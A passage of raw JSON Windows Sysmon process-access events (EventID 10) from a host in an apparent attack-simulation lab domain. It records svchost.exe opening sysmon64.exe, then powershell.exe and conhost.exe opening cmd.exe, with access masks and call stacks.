11:56:32.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5386,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5387,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5388,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5389,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5390,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5391,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5392,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nSourceProcessId: 4384\r\nSourceThreadId: 4408\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010A14E0800}\r\nTargetProcessId: 2692\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1F3FFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7A2723)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","SourceProcessId":"4384","SourceThreadId":"4408","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010A14E0800}","TargetProcessId":"2692","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1f3fff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7A2723)","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5393,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010A14E0800}\r\nTargetProcessId: 2692\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010A14E0800}","TargetProcessId":"2692","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 